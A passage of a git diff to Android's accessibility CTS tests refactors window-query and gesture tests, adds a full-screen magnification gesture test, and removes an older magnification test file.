-                if (window.getType() == AccessibilityWindowInfo.TYPE_APPLICATION
-                        && !TextUtils.equals(window.getTitle(), mActivity.getTitle())) {
-                    continue;
-                }
-                window.getBoundsInScreen(boundsInScreen);
-                assertFalse(boundsInScreen.isEmpty()); // Varies on screen size, emptiness check.
-                assertNull(window.getParent());
-                assertSame(0, window.getChildCount());
-                assertNull(window.getParent());
-                assertNotNull(window.getRoot());
+        final int windowCount = windows.size();
+        for (int i = 0; i < windowCount; i++) {
+            AccessibilityWindowInfo window = windows.get(i);
 
-                if (window.getType() == AccessibilityWindowInfo.TYPE_APPLICATION) {
-                    assertTrue(window.isFocused());
-                    assertTrue(window.isActive());
-                    verifyNodesInAppWindow(window.getRoot());
-                } else if (window.getType() == AccessibilityWindowInfo.TYPE_SYSTEM) {
-                    assertFalse(window.isFocused());
-                    assertFalse(window.isActive());
-                }
+            window.getBoundsInScreen(boundsInScreen);
+            assertFalse(boundsInScreen.isEmpty()); // Varies on screen size, emptiness check.
+            assertNull(window.getParent());
+            assertSame(0, window.getChildCount());
+            assertNull(window.getParent());
+            assertNotNull(window.getRoot());
+
+            if (window.getType() == AccessibilityWindowInfo.TYPE_APPLICATION) {
+                assertTrue(window.isFocused());
+                assertTrue(window.isActive());
+                verifyNodesInAppWindow(window.getRoot());
+            } else if (window.getType() == AccessibilityWindowInfo.TYPE_SYSTEM) {
+                assertFalse(window.isFocused());
+                assertFalse(window.isActive());
             }
-        } finally {
-            clearAccessInteractiveWindowsFlag();
         }
     }
 
     @MediumTest
     @Test
     public void testTraverseWindowFromEvent() throws Exception {
-        setAccessInteractiveWindowsFlag();
-        try {
-            // Find a button to click on.
-            final AccessibilityNodeInfo button1 = sUiAutomation.getRootInActiveWindow()
-                    .findAccessibilityNodeInfosByViewId(
-                            "android.accessibilityservice.cts:id/button1").get(0);
+        // Find a button to click on.
+        final AccessibilityNodeInfo button1 = sUiAutomation.getRootInActiveWindow()
+                .findAccessibilityNodeInfosByViewId(
+                        "android.accessibilityservice.cts:id/button1").get(0);
 
-            // Click the button.
-            AccessibilityEvent event = sUiAutomation.executeAndWaitForEvent(
-                    () -> button1.performAction(ACTION_CLICK),
-                    filterForEventType(TYPE_VIEW_CLICKED), DEFAULT_TIMEOUT_MS);
+        // Click the button.
+        AccessibilityEvent event =
+                sUiAutomation.executeAndWaitForEvent(
+                        () -> button1.performAction(ACTION_CLICK),
+                        filterForEventTypeWithAction(TYPE_VIEW_CLICKED, ACTION_CLICK),
+                        DEFAULT_TIMEOUT_MS);
 
-            // Get the source window.
-            AccessibilityWindowInfo window = event.getSource().getWindow();
+        // Get the source window.
+        AccessibilityWindowInfo window = event.getSource().getWindow();
 
-            // Verify the application window.
-            Rect boundsInScreen = new Rect();
-            window.getBoundsInScreen(boundsInScreen);
-            assertFalse(boundsInScreen.isEmpty()); // Varies on screen size, so just emptiness check
-            assertSame(window.getType(), AccessibilityWindowInfo.TYPE_APPLICATION);
-            assertTrue(window.isFocused());
-            assertTrue(window.isActive());
-            assertNull(window.getParent());
-            assertSame(0, window.getChildCount());
-            assertNotNull(window.getRoot());
+        // Verify the application window.
+        Rect boundsInScreen = new Rect();
+        window.getBoundsInScreen(boundsInScreen);
+        assertFalse(boundsInScreen.isEmpty()); // Varies on screen size, so just emptiness check
+        assertSame(window.getType(), AccessibilityWindowInfo.TYPE_APPLICATION);
+        assertTrue(window.isFocused());
+        assertTrue(window.isActive());
+        assertNull(window.getParent());
+        assertSame(0, window.getChildCount());
+        assertNotNull(window.getRoot());
 
-            // Verify the window content.
-            verifyNodesInAppWindow(window.getRoot());
-        } finally {
-            clearAccessInteractiveWindowsFlag();
-        }
+        // Verify the window content.
+        verifyNodesInAppWindow(window.getRoot());
     }
 
     @MediumTest
     @Test
     public void testInteractWithAppWindow() throws Exception {
-        setAccessInteractiveWindowsFlag();
-        try {
-            // Find a button to click on.
-            final AccessibilityNodeInfo button1 = sUiAutomation.getRootInActiveWindow()
-                    .findAccessibilityNodeInfosByViewId(
-                            "android.accessibilityservice.cts:id/button1").get(0);
+        // Find a button to click on.
+        final AccessibilityNodeInfo button1 = sUiAutomation.getRootInActiveWindow()
+                .findAccessibilityNodeInfosByViewId(
+                        "android.accessibilityservice.cts:id/button1").get(0);
 
-            // Click the button.
-            AccessibilityEvent event = sUiAutomation.executeAndWaitForEvent(
-                    () -> button1.performAction(ACTION_CLICK),
-                    filterForEventType(TYPE_VIEW_CLICKED), DEFAULT_TIMEOUT_MS);
+        // Click the button.
+        AccessibilityEvent event =
+                sUiAutomation.executeAndWaitForEvent(
+                        () -> button1.performAction(ACTION_CLICK),
+                        filterForEventTypeWithAction(TYPE_VIEW_CLICKED, ACTION_CLICK),
+                        DEFAULT_TIMEOUT_MS);
 
-            // Get the source window.
-            AccessibilityWindowInfo window = event.getSource().getWindow();
+        // Get the source window.
+        AccessibilityWindowInfo window = event.getSource().getWindow();
 
-            // Find a another button from the event's window.
-            final AccessibilityNodeInfo button2 = window.getRoot()
-                    .findAccessibilityNodeInfosByViewId(
-                            "android.accessibilityservice.cts:id/button2").get(0);
+        // Find a another button from the event's window.
+        final AccessibilityNodeInfo button2 = window.getRoot()
+                .findAccessibilityNodeInfosByViewId(
+                        "android.accessibilityservice.cts:id/button2").get(0);
 
-            // Click the second button.
-            sUiAutomation.executeAndWaitForEvent(() -> button2.performAction(ACTION_CLICK),
-                    filterForEventType(TYPE_VIEW_CLICKED), DEFAULT_TIMEOUT_MS);
-        } finally {
-            clearAccessInteractiveWindowsFlag();
-        }
+        // Click the second button.
+        sUiAutomation.executeAndWaitForEvent(
+                () -> button2.performAction(ACTION_CLICK),
+                filterForEventTypeWithAction(TYPE_VIEW_CLICKED, ACTION_CLICK),
+                DEFAULT_TIMEOUT_MS);
     }
 
     @MediumTest
@@ -354,7 +349,6 @@
             }
         } finally {
             ensureAccessibilityFocusCleared();
-            clearAccessInteractiveWindowsFlag();
         }
     }
 
@@ -439,9 +433,11 @@
         assertFalse(button.isSelected());
 
         // Perform an action and wait for an event
-        AccessibilityEvent expected = sUiAutomation.executeAndWaitForEvent(
-                () -> button.performAction(ACTION_CLICK),
-                filterForEventType(TYPE_VIEW_CLICKED), DEFAULT_TIMEOUT_MS);
+        AccessibilityEvent expected =
+                sUiAutomation.executeAndWaitForEvent(
+                        () -> button.performAction(ACTION_CLICK),
+                        filterForEventTypeWithAction(TYPE_VIEW_CLICKED, ACTION_CLICK),
+                        DEFAULT_TIMEOUT_MS);
 
         // Make sure the expected event was received.
         assertNotNull(expected);
@@ -457,9 +453,11 @@
         assertFalse(button.isSelected());
 
         // Perform an action and wait for an event.
-        AccessibilityEvent expected = sUiAutomation.executeAndWaitForEvent(
-                () -> button.performAction(ACTION_LONG_CLICK),
-                filterForEventType(TYPE_VIEW_LONG_CLICKED), DEFAULT_TIMEOUT_MS);
+        AccessibilityEvent expected =
+                sUiAutomation.executeAndWaitForEvent(
+                        () -> button.performAction(ACTION_LONG_CLICK),
+                        filterForEventTypeWithAction(TYPE_VIEW_LONG_CLICKED, ACTION_LONG_CLICK),
+                        DEFAULT_TIMEOUT_MS);
 
         // Make sure the expected event was received.
         assertNotNull(expected);
@@ -498,9 +496,11 @@
         assertFalse(button.isSelected());
 
         // focus and wait for the event
-        AccessibilityEvent awaitedEvent = sUiAutomation
-                .executeAndWaitForEvent(() -> button.performAction(ACTION_FOCUS),
-                        filterForEventType(TYPE_VIEW_FOCUSED), DEFAULT_TIMEOUT_MS);
+        AccessibilityEvent awaitedEvent =
+                sUiAutomation.executeAndWaitForEvent(
+                        () -> button.performAction(ACTION_FOCUS),
+                        filterForEventTypeWithAction(TYPE_VIEW_FOCUSED, ACTION_FOCUS),
+                        DEFAULT_TIMEOUT_MS);
 
         assertNotNull(awaitedEvent);
 
@@ -573,7 +573,7 @@
     public void testToggleSplitScreen() throws Exception {
         assumeTrue(
                 "Skipping test: no multi-window support",
-                ActivityTaskManager.supportsSplitScreenMultiWindow(sInstrumentation.getContext()));
+                ActivityTaskManager.supportsSplitScreenMultiWindow(mActivity));
 
         final int initialWindowingMode =
                 mActivity.getResources().getConfiguration().windowConfiguration.getWindowingMode();
@@ -710,6 +710,41 @@
         }
     }
 
+    @Test
+    public void testShowInputMethodDialogWindow_resultIsApplicationType()
+            throws TimeoutException {
+        final WindowManager wm =
+                sInstrumentation.getContext().getSystemService(WindowManager.class);
+        final View view = new View(sInstrumentation.getContext());
+        final String windowTitle = "Input Method Dialog";
+
+        try {
+            sUiAutomation.executeAndWaitForEvent(() -> sInstrumentation.runOnMainSync(
+                    () -> {
+                        WindowManager.LayoutParams params = new WindowManager.LayoutParams(
+                                WindowManager.LayoutParams.TYPE_INPUT_METHOD_DIALOG);
+                        params.accessibilityTitle = windowTitle;
+
+                        SystemUtil.runWithShellPermissionIdentity(
+                                () -> wm.addView(view, params),
+                                "android.permission.INTERNAL_SYSTEM_WINDOW");
+                    }),
+                    filterWindowsChangeTypesAndWindowTitle(sUiAutomation,
+                            WINDOWS_CHANGE_ADDED, windowTitle), DEFAULT_TIMEOUT_MS);
+
+
+            final List<AccessibilityWindowInfo> windows = sUiAutomation.getWindows();
+            assertTrue(windows.stream().anyMatch(window -> window.getType()
+                    == AccessibilityWindowInfo.TYPE_APPLICATION));
+        } finally {
+            try {
+                wm.removeView(view);
+            } catch (IllegalStateException e) {
+                Log.e(LOG_TAG, "remove view fail:" + e.toString());
+            }
+        }
+    }
+
     private AccessibilityWindowInfo findWindow(List<AccessibilityWindowInfo> windows,
             int btnTextRes) {
         return windows.stream()
@@ -778,7 +813,7 @@
 
         final AccessibilityWindowInfo finalFocusTarget = focusTarget;
         sUiAutomation.executeAndWaitForEvent(() -> assertTrue(finalFocusTarget.getRoot()
-                .performAction(AccessibilityNodeInfo.ACTION_ACCESSIBILITY_FOCUS)),
+                        .performAction(AccessibilityNodeInfo.ACTION_ACCESSIBILITY_FOCUS)),
                 filterWindowsChangTypesAndWindowId(finalFocusTarget.getId(),
                         WINDOWS_CHANGE_ACCESSIBILITY_FOCUSED),
                 DEFAULT_TIMEOUT_MS);
@@ -794,11 +829,10 @@
     }
 
     private View[] addTwoAppPanelWindows(Activity activity) throws TimeoutException {
-        setAccessInteractiveWindowsFlag();
         sUiAutomation
                 .waitForIdle(TIMEOUT_WINDOW_STATE_IDLE, DEFAULT_TIMEOUT_MS);
 
-        return new View[] {
+        return new View[]{
                 addWindow(R.string.button1, params -> {
                     params.gravity = Gravity.TOP;
                     params.y = getStatusBarHeight(activity);
@@ -834,34 +868,27 @@
         return result.get();
     }
 
-    private void setAccessInteractiveWindowsFlag () {
-        AccessibilityServiceInfo info = sUiAutomation.getServiceInfo();
-        info.flags |= AccessibilityServiceInfo.FLAG_RETRIEVE_INTERACTIVE_WINDOWS;
-        sUiAutomation.setServiceInfo(info);
-    }
-
-    private void clearAccessInteractiveWindowsFlag () {
-        AccessibilityServiceInfo info = sUiAutomation.getServiceInfo();
-        info.flags &= ~AccessibilityServiceInfo.FLAG_RETRIEVE_INTERACTIVE_WINDOWS;
-        sUiAutomation.setServiceInfo(info);
-    }
-
     private void ensureAccessibilityFocusCleared() {
         try {
-            sUiAutomation.executeAndWaitForEvent(() -> {
-                List<AccessibilityWindowInfo> windows = sUiAutomation.getWindows();
-                final int windowCount = windows.size();
-                for (int i = 0; i < windowCount; i++) {
-                    AccessibilityWindowInfo window = windows.get(i);
-                    if (window.isAccessibilityFocused()) {
-                        AccessibilityNodeInfo root = window.getRoot();
-                        if (root != null) {
-                            root.performAction(
-                                    AccessibilityNodeInfo.ACTION_CLEAR_ACCESSIBILITY_FOCUS);
+            sUiAutomation.executeAndWaitForEvent(
+                    () -> {
+                        List<AccessibilityWindowInfo> windows = sUiAutomation.getWindows();
+                        final int windowCount = windows.size();
+                        for (int i = 0; i < windowCount; i++) {
+                            AccessibilityWindowInfo window = windows.get(i);
+                            if (window.isAccessibilityFocused()) {
+                                AccessibilityNodeInfo root = window.getRoot();
+                                if (root != null) {
+                                    root.performAction(
+                                            AccessibilityNodeInfo.ACTION_CLEAR_ACCESSIBILITY_FOCUS);
+                                }
+                            }
                         }
-                    }
-                }
-            }, filterForEventType(TYPE_VIEW_ACCESSIBILITY_FOCUS_CLEARED), DEFAULT_TIMEOUT_MS);
+                    },
+                    filterForEventTypeWithAction(
+                            TYPE_VIEW_ACCESSIBILITY_FOCUS_CLEARED,
+                            ACTION_CLEAR_ACCESSIBILITY_FOCUS),
+                    DEFAULT_TIMEOUT_MS);
         } catch (TimeoutException te) {
             /* ignore */
         }
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/FullScreenMagnificationGestureHandlerTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/FullScreenMagnificationGestureHandlerTest.java
new file mode 100644
index 0000000..4a70c86
--- /dev/null
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/FullScreenMagnificationGestureHandlerTest.java
@@ -0,0 +1,325 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.accessibilityservice.cts;
+
+import static android.accessibilityservice.cts.utils.AsyncUtils.await;
+import static android.accessibilityservice.cts.utils.AsyncUtils.waitOn;
+import static android.accessibilityservice.cts.utils.GestureUtils.add;
+import static android.accessibilityservice.cts.utils.GestureUtils.click;
+import static android.accessibilityservice.cts.utils.GestureUtils.dispatchGesture;
+import static android.accessibilityservice.cts.utils.GestureUtils.distance;
+import static android.accessibilityservice.cts.utils.GestureUtils.doubleTap;
+import static android.accessibilityservice.cts.utils.GestureUtils.drag;
+import static android.accessibilityservice.cts.utils.GestureUtils.endTimeOf;
+import static android.accessibilityservice.cts.utils.GestureUtils.lastPointOf;
+import static android.accessibilityservice.cts.utils.GestureUtils.longClick;
+import static android.accessibilityservice.cts.utils.GestureUtils.path;
+import static android.accessibilityservice.cts.utils.GestureUtils.pointerDown;
+import static android.accessibilityservice.cts.utils.GestureUtils.pointerUp;
+import static android.accessibilityservice.cts.utils.GestureUtils.startingAt;
+import static android.accessibilityservice.cts.utils.GestureUtils.swipe;
+import static android.accessibilityservice.cts.utils.GestureUtils.tripleTap;
+import static android.view.MotionEvent.ACTION_DOWN;
+import static android.view.MotionEvent.ACTION_MOVE;
+import static android.view.MotionEvent.ACTION_UP;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
+import android.accessibility.cts.common.InstrumentedAccessibilityService;
+import android.accessibility.cts.common.InstrumentedAccessibilityServiceTestRule;
+import android.accessibilityservice.GestureDescription;
+import android.accessibilityservice.GestureDescription.StrokeDescription;
+import android.accessibilityservice.cts.AccessibilityGestureDispatchTest.GestureDispatchActivity;
+import android.accessibilityservice.cts.utils.EventCapturingTouchListener;
+import android.app.Instrumentation;
+import android.content.pm.PackageManager;
+import android.graphics.PointF;
+import android.platform.test.annotations.AppModeFull;
+import android.provider.Settings;
+import android.view.ViewConfiguration;
+import android.widget.TextView;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.RuleChain;
+import org.junit.runner.RunWith;
+
+/**
+ * Class for testing
+ * {@link com.android.server.accessibility.magnification.FullScreenMagnificationGestureHandler}.
+ */
+@RunWith(AndroidJUnit4.class)
+@AppModeFull
+public class FullScreenMagnificationGestureHandlerTest {
+
+    private static final double MIN_SCALE = 1.2;
+
+    private InstrumentedAccessibilityService mService;
+    private Instrumentation mInstrumentation;
+    private EventCapturingTouchListener mTouchListener = new EventCapturingTouchListener();
+    float mCurrentScale = 1f;
+    PointF mCurrentZoomCenter = null;
+    PointF mTapLocation;
+    PointF mTapLocation2;
+    float mPan;
+    private boolean mHasTouchscreen;
+    private boolean mOriginalIsMagnificationEnabled;
+    private int mOriginalIsMagnificationCapabilities;
+    private int mOriginalIsMagnificationMode;
+
+    private final Object mZoomLock = new Object();
+
+    private ActivityTestRule<GestureDispatchActivity> mActivityRule =
+            new ActivityTestRule<>(GestureDispatchActivity.class);
+
+    private InstrumentedAccessibilityServiceTestRule<StubMagnificationAccessibilityService>
+            mServiceRule = new InstrumentedAccessibilityServiceTestRule<>(
+            StubMagnificationAccessibilityService.class, false);
+
+    private AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+            new AccessibilityDumpOnFailureRule();
+
+    @Rule
+    public final RuleChain mRuleChain = RuleChain
+            .outerRule(mActivityRule)
+            .around(mServiceRule)
+            .around(mDumpOnFailureRule);
+
+    @Before
+    public void setUp() throws Exception {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        PackageManager pm = mInstrumentation.getContext().getPackageManager();
+        mHasTouchscreen = pm.hasSystemFeature(PackageManager.FEATURE_TOUCHSCREEN)
+                || pm.hasSystemFeature(PackageManager.FEATURE_FAKETOUCH);
+        if (!mHasTouchscreen) return;
+
+        // Backup and reset magnification settings.
+        mOriginalIsMagnificationCapabilities = getSecureSettingInt(
+                Settings.Secure.ACCESSIBILITY_MAGNIFICATION_CAPABILITY,
+                Settings.Secure.ACCESSIBILITY_MAGNIFICATION_MODE_FULLSCREEN);
+        setMagnificationCapabilities(Settings.Secure.ACCESSIBILITY_MAGNIFICATION_MODE_FULLSCREEN);
+        mOriginalIsMagnificationMode = getSecureSettingInt(
+                Settings.Secure.ACCESSIBILITY_MAGNIFICATION_MODE,
+                Settings.Secure.ACCESSIBILITY_MAGNIFICATION_MODE_FULLSCREEN);
+        setMagnificationMode(Settings.Secure.ACCESSIBILITY_MAGNIFICATION_MODE_FULLSCREEN);
+        mOriginalIsMagnificationEnabled = getSecureSettingInt(
+                Settings.Secure.ACCESSIBILITY_DISPLAY_MAGNIFICATION_ENABLED, 0) == 1;
+        setMagnificationEnabled(true);
+
+        mService = mServiceRule.enableService();
+        mService.getMagnificationController().addListener(
+                (controller, region, scale, centerX, centerY) -> {
+                    mCurrentScale = scale;
+                    mCurrentZoomCenter = isZoomed() ? new PointF(centerX, centerY) : null;
+
+                    synchronized (mZoomLock) {
+                        mZoomLock.notifyAll();
+                    }
+                });
+
+        TextView view = mActivityRule.getActivity().findViewById(R.id.full_screen_text_view);
+        mInstrumentation.runOnMainSync(() -> {
+            view.setOnTouchListener(mTouchListener);
+            int[] xy = new int[2];
+            view.getLocationOnScreen(xy);
+            mTapLocation = new PointF(xy[0] + view.getWidth() / 2, xy[1] + view.getHeight() / 2);
+            mTapLocation2 = add(mTapLocation, 31, 29);
+            mPan = view.getWidth() / 4;
+        });
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        if (!mHasTouchscreen) return;
+
+        // Restore magnification settings.
+        setMagnificationEnabled(mOriginalIsMagnificationEnabled);
+        setMagnificationCapabilities(mOriginalIsMagnificationCapabilities);
+        setMagnificationMode(mOriginalIsMagnificationMode);
+    }
+
+    @Test
+    public void testZoomOnOff() {
+        if (!mHasTouchscreen) return;
+
+        assertFalse(isZoomed());
+
+        assertGesturesPropagateToView();
+        assertFalse(isZoomed());
+
+        setZoomByTripleTapping(true);
+
+        assertGesturesPropagateToView();
+        assertTrue(isZoomed());
+
+        setZoomByTripleTapping(false);
+    }
+
+    @Test
+    public void testViewportDragging() {
+        if (!mHasTouchscreen) return;
+
+        assertFalse(isZoomed());
+        tripleTapAndDragViewport();
+        waitOn(mZoomLock, () -> !isZoomed());
+
+        setZoomByTripleTapping(true);
+        tripleTapAndDragViewport();
+        assertTrue(isZoomed());
+
+        setZoomByTripleTapping(false);
+    }
+
+    @Test
+    public void testPanning() {
+        //The minimum movement to transit to panningState.
+        final float minSwipeDistance = ViewConfiguration.get(
+                mInstrumentation.getContext()).getScaledTouchSlop() + 1;
+        final boolean screenBigEnough = mPan > minSwipeDistance;
+        if (!mHasTouchscreen || !screenBigEnough) return;
+        assertFalse(isZoomed());
+
+        setZoomByTripleTapping(true);
+        final PointF oldCenter = mCurrentZoomCenter;
+
+        // Dispatch a swipe gesture composed of two consecutive gestures; the first one to transit
+        // to panningState, and the second one to moves the window.
+        final GestureDescription.Builder builder1 = new GestureDescription.Builder();
+        final GestureDescription.Builder builder2 = new GestureDescription.Builder();
+
+        final long totalDuration = ViewConfiguration.getTapTimeout();
+        final long firstDuration = (long) (totalDuration * (minSwipeDistance / mPan));
+
+        for (final PointF startPoint : new PointF[]{mTapLocation, mTapLocation2}) {
+            final PointF midPoint = add(startPoint, -minSwipeDistance, 0);
+            final PointF endPoint = add(startPoint, -mPan, 0);
+            final StrokeDescription firstStroke = new StrokeDescription(path(startPoint, midPoint),
+                    0, firstDuration, true);
+            final StrokeDescription secondStroke = firstStroke.continueStroke(
+                    path(midPoint, endPoint), 0, totalDuration - firstDuration, false);
+            builder1.addStroke(firstStroke);
+            builder2.addStroke(secondStroke);
+        }
+
+        dispatch(builder1.build());
+        dispatch(builder2.build());
+
+        waitOn(mZoomLock,
+                () -> (mCurrentZoomCenter.x - oldCenter.x
+                        >= (mPan - minSwipeDistance) / mCurrentScale * 0.9));
+
+        setZoomByTripleTapping(false);
+    }
+
+    private void setZoomByTripleTapping(boolean desiredZoomState) {
+        if (isZoomed() == desiredZoomState) return;
+        dispatch(tripleTap(mTapLocation));
+        waitOn(mZoomLock, () -> isZoomed() == desiredZoomState);
+        mTouchListener.assertNonePropagated();
+    }
+
+    private void tripleTapAndDragViewport() {
+        StrokeDescription down = tripleTapAndHold();
+
+        PointF oldCenter = mCurrentZoomCenter;
+
+        StrokeDescription drag = drag(down, add(lastPointOf(down), mPan, 0f));
+        dispatch(drag);
+        waitOn(mZoomLock, () -> distance(mCurrentZoomCenter, oldCenter) >= mPan / 5);
+        assertTrue(isZoomed());
+        mTouchListener.assertNonePropagated();
+
+        dispatch(pointerUp(drag));
+        mTouchListener.assertNonePropagated();
+    }
+
+    private StrokeDescription tripleTapAndHold() {
+        StrokeDescription tap1 = click(mTapLocation);
+        StrokeDescription tap2 = startingAt(endTimeOf(tap1) + 20, click(mTapLocation2));
+        StrokeDescription down = startingAt(endTimeOf(tap2) + 20, pointerDown(mTapLocation));
+        dispatch(tap1, tap2, down);
+        waitOn(mZoomLock, () -> isZoomed());
+        return down;
+    }
+
+    private void assertGesturesPropagateToView() {
+        dispatch(click(mTapLocation));
+        mTouchListener.assertPropagated(ACTION_DOWN, ACTION_UP);
+
+        dispatch(longClick(mTapLocation));
+        mTouchListener.assertPropagated(ACTION_DOWN, ACTION_UP);
+
+        dispatch(doubleTap(mTapLocation));
+        mTouchListener.assertPropagated(ACTION_DOWN, ACTION_UP, ACTION_DOWN, ACTION_UP);
+
+        dispatch(swipe(
+                mTapLocation,
+                add(mTapLocation, 0, 29)));
+        mTouchListener.assertPropagated(ACTION_DOWN, ACTION_MOVE, ACTION_UP);
+    }
+
+    private int getSecureSettingInt(String key, int defaultValue) {
+        return Settings.Secure.getInt(mInstrumentation.getContext().getContentResolver(),
+                key,
+                defaultValue);
+    }
+
+    private void putSecureSettingInt(String key, int value) {
+        Settings.Secure.putInt(mInstrumentation.getContext().getContentResolver(),
+                key, value);
+    }
+
+    private void setMagnificationEnabled(boolean enabled) {
+        putSecureSettingInt(Settings.Secure.ACCESSIBILITY_DISPLAY_MAGNIFICATION_ENABLED,
+                enabled ? 1 : 0);
+    }
+
+    private void setMagnificationCapabilities(int capabilities) {
+        putSecureSettingInt(Settings.Secure.ACCESSIBILITY_MAGNIFICATION_CAPABILITY,
+                capabilities);
+    }
+
+    private void setMagnificationMode(int mode) {
+        putSecureSettingInt(Settings.Secure.ACCESSIBILITY_MAGNIFICATION_MODE,
+                mode);
+    }
+
+    private boolean isZoomed() {
+        return mCurrentScale >= MIN_SCALE;
+    }
+
+    public void dispatch(StrokeDescription firstStroke, StrokeDescription... rest) {
+        GestureDescription.Builder builder =
+                new GestureDescription.Builder().addStroke(firstStroke);
+        for (StrokeDescription stroke : rest) {
+            builder.addStroke(stroke);
+        }
+        dispatch(builder.build());
+    }
+
+    public void dispatch(GestureDescription gesture) {
+        await(dispatchGesture(mService, gesture));
+    }
+}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/GestureDetectionStubAccessibilityService.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/GestureDetectionStubAccessibilityService.java
index fa8147a..5f6689c 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/GestureDetectionStubAccessibilityService.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/GestureDetectionStubAccessibilityService.java
@@ -28,7 +28,7 @@
 /** Accessibility service stub, which will collect recognized gestures. */
 public class GestureDetectionStubAccessibilityService extends InstrumentedAccessibilityService {
     private static final long GESTURE_RECOGNIZE_TIMEOUT_MS = 3000;
-    private static final long EVENT_RECOGNIZE_TIMEOUT_MS = 5000;
+    protected static final long EVENT_RECOGNIZE_TIMEOUT_MS = 5000;
     // Member variables
     protected final Object mLock = new Object();
     private ArrayList<Integer> mCollectedGestures = new ArrayList();
@@ -154,18 +154,45 @@
     public void assertGestureReceived(int gestureId, int displayId) {
         // Wait for gesture recognizer, and check recognized gesture.
         waitUntilGestureInfo();
-        if(displayId == Display.DEFAULT_DISPLAY) {
-            assertEquals(1, getGesturesSize());
-            assertEquals(gestureId, getGesture(0));
+        if (displayId == Display.DEFAULT_DISPLAY) {
+            String expected = AccessibilityGestureEvent.gestureIdToString(gestureId);
+            if (getGesturesSize() == 0) {
+                fail("No gesture received when expecting " + expected);
+            } else if (getGesturesSize() > 1) {
+                List<String> received = new ArrayList<>();
+                for (int i = 0; i < getGesturesSize(); ++i) {
+                    received.add(AccessibilityGestureEvent.gestureIdToString(getGesture(i)));
+                }
+                fail("Expected " + expected + " but received " + received);
+            } else {
+                String received = AccessibilityGestureEvent.gestureIdToString(getGesture(0));
+                assertEquals(expected, received);
+            }
         }
-        assertEquals(1, getGestureInfoSize());
+        String expected = AccessibilityGestureEvent.gestureIdToString(gestureId);
+        if (getGestureInfoSize() == 0) {
+            fail("No gesture received when expecting " + expected);
+        } else if (getGestureInfoSize() > 1) {
+            List<String> received = new ArrayList<>();
+            for (int i = 0; i < getGesturesSize(); ++i) {
+                received.add(
+                        AccessibilityGestureEvent.gestureIdToString(
+                                getGestureInfo(i).getGestureId()));
+            }
+            fail("Expected " + expected + " but received " + received);
+        }
         AccessibilityGestureEvent expectedGestureEvent =
                 new AccessibilityGestureEvent(gestureId, displayId);
         AccessibilityGestureEvent actualGestureEvent = getGestureInfo(0);
         if (!expectedGestureEvent.toString().equals(actualGestureEvent.toString())) {
-            fail("Unexpected gesture received, "
-                    + "Received " + actualGestureEvent + ", Expected " + expectedGestureEvent);
+            fail(
+                    "Unexpected gesture received, "
+                            + "Received "
+                            + actualGestureEvent
+                            + ", Expected "
+                            + expectedGestureEvent);
         }
+        clearGestures();
     }
 
     /** Insure that the specified accessibility events have been received. */
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/MagnificationGestureHandlerTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/MagnificationGestureHandlerTest.java
deleted file mode 100644
index 32d8a82..0000000
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/MagnificationGestureHandlerTest.java
+++ /dev/null
@@ -1,290 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.accessibilityservice.cts;
-
-import static android.accessibilityservice.cts.utils.AsyncUtils.await;
-import static android.accessibilityservice.cts.utils.AsyncUtils.waitOn;
-import static android.accessibilityservice.cts.utils.GestureUtils.add;
-import static android.accessibilityservice.cts.utils.GestureUtils.click;
-import static android.accessibilityservice.cts.utils.GestureUtils.dispatchGesture;
-import static android.accessibilityservice.cts.utils.GestureUtils.distance;
-import static android.accessibilityservice.cts.utils.GestureUtils.doubleTap;
-import static android.accessibilityservice.cts.utils.GestureUtils.drag;
-import static android.accessibilityservice.cts.utils.GestureUtils.endTimeOf;
-import static android.accessibilityservice.cts.utils.GestureUtils.lastPointOf;
-import static android.accessibilityservice.cts.utils.GestureUtils.longClick;
-import static android.accessibilityservice.cts.utils.GestureUtils.path;
-import static android.accessibilityservice.cts.utils.GestureUtils.pointerDown;
-import static android.accessibilityservice.cts.utils.GestureUtils.pointerUp;
-import static android.accessibilityservice.cts.utils.GestureUtils.startingAt;
-import static android.accessibilityservice.cts.utils.GestureUtils.swipe;
-import static android.accessibilityservice.cts.utils.GestureUtils.tripleTap;
-import static android.view.MotionEvent.ACTION_DOWN;
-import static android.view.MotionEvent.ACTION_MOVE;
-import static android.view.MotionEvent.ACTION_UP;
-
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertTrue;
-
-import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
-import android.accessibility.cts.common.InstrumentedAccessibilityService;
-import android.accessibility.cts.common.InstrumentedAccessibilityServiceTestRule;
